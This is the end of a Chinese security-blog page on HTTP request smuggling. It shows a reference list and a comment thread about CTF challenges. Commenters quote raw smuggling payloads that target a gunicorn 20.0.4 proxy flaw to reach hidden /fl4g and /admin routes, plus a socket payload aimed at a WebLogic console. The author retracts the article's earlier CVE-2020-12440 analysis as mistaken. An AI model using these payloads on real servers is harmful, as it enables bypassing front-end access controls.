https://v0w.top/2020/12/20/HTTPsmuggling
https://xz.aliyun.com/t/7501#toc-10
https://xz.aliyun.com/t/6654#toc-6
https://xz.aliyun.com/t/11423#toc-5
https://www.4hou.com/posts/JXK2
https://xz.aliyun.com/t/11728#toc-17
https://xz.aliyun.com/t/6631#toc-5
https://www.anquanke.com/post/id/246516#h3-30
https://www.anquanke.com/post/id/210036#h3-11
https://forum.butian.net/share/1876
https://juejin.cn/post/6997215152533667876
https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/#golang
https://blog.fundebug.com/2019/09/10/understand-http-content-length/
https://www.yiyayiyawu.cn/archives/http
https://www.freebuf.com/articles/web/334057.html
http://1.116.103.114/hole/CVE-2020-12440

评论

J

jayus 2022-11-09 10:59:38

学习了

quan9i 2022-11-09 15:36:47

经过二次查找相关资料,发现这个CVE-2020-12440并不是一个漏洞,上面涉及这个漏洞的分析是错误的,对此我深感抱歉,同时感谢各位大师傅的指教,以后我会再多查找一些资料,避免此类问题再出现。

魂淡、 2022-11-12 03:33:58

师傅好 认真看完了 我有一个问题 为什么最后的题构造了三条请求 不是应该两条就够了吗


GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 90\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /fl4g HTTP/1.1\r\n
Host: localhost\r\n
secr3t_ip:127.0.0.1\r\n
Content-Length: 55\r\n
\r\n
GET / HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
\r\n

quan9i 2022-11-12 11:43:09

首先感谢师傅认真阅读完文章,然后针对这个问题我觉得其实归根还是gunicorn 20.0.4 请求走私漏洞师傅没有彻底理解,在这个漏洞中,前端代理服务器并不认为这是三个请求,而认为这是两个请求,即
```php
GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x

xxxxxxxxGET /admin HTTP/1.1
Host: localhost
Content-Length: 35
```


```php
GET / HTTP/1.1
Host: localhost
```
如果你把三条请求删一条,比如最后一个删去,那它就变成了一个请求,就无法请求走私了。再说一下这里为什么能请求到admin。
此时后端,即服务器所接收到的是
```php
GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x

xxxxxxxx
```

```php
GET /admin HTTP/1.1
Host: localhost
Content-Length: 35

GET / HTTP/1.1
Host: localhost
```
那么前端对应的两次请求,就变成了一次请求是去请求 /,一次请求是去请求admin。
所以其实这个的话看似是三条,其实是两条请求,不知道师傅能否理解我说的意思,师傅如果还是有点疑惑的话可以看看这个原作者的文章,写的是比较清楚的,https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/
我是这么理解的,不知道有没有什么问题,如果有错误的话还请师傅指教

哒哒哒 2022-12-23 21:43:51

你好师傅,请问这段payload b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n' 用socket脚本打出来time out如何解决;尝试用nc,nc返回302+502 bad gateway

quan9i

一个什么也不会的fw

twitter weibo github wechat

随机分类

密码学 文章:13 篇
PHP安全 文章:45 篇
Android 文章:89 篇
逆向安全 文章:70 篇
iOS安全 文章:36 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录